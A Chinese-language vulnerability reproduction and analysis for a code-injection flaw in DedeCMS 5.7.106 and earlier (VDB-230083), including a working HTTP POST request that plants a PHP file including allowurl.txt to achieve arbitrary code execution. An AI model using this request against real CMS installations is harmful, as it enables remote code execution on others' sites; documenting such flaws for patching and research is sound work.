DedeCMS(也称为织梦CMS)是一款基于PHP+MySQL的开源内容管理系统。
在 DedeCMS 5.7.106 及之前的版本中发现一个漏洞。它已被宣布为关键。受此漏洞影响的是未知功能的文件uploads/dede/article_allowurl_edit.php。对参数 allurls 的操作会导致代码注入。攻击可以远程发起。该漏洞已向公众披露并可能被使用。此漏洞的关联标识符为 VDB-230083。
漏洞复现
访问article_allowurl_edit.php页面 保存超链接
访问file_manage_control.php 利用文件包含构造1.php
POST /dede/file_manage_control.php HTTP/1.1
fmdo=edit&backurl=&token=&activepath=&filename=1.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++
访问1.php
漏洞分析
article_allowurl_edit.php
可以将用户输入的字符保存到/admin/allowurl.txt ,因为有stripslashes函数的过滤xss无效
file_manage_control.php
这里就不分析后端了 我们之前看这个页面的功能
file_manage_control.php 页面为用户提供了网站文件管理的功能,
尝试在php中或txt中添加php执行代码结果被检测了
这样的话一般的利用方式就不行了,好在cms没用禁用掉文件包含的逻辑,我们可以利用/admin/allowurl.txt 这个文件,实现文件包含任意代码执行。
创建文件1.php
其内容为<?php Include_once("./data/admin/allowurl.txt"); ?>
之后访问1.php 即可执行我们想要的代码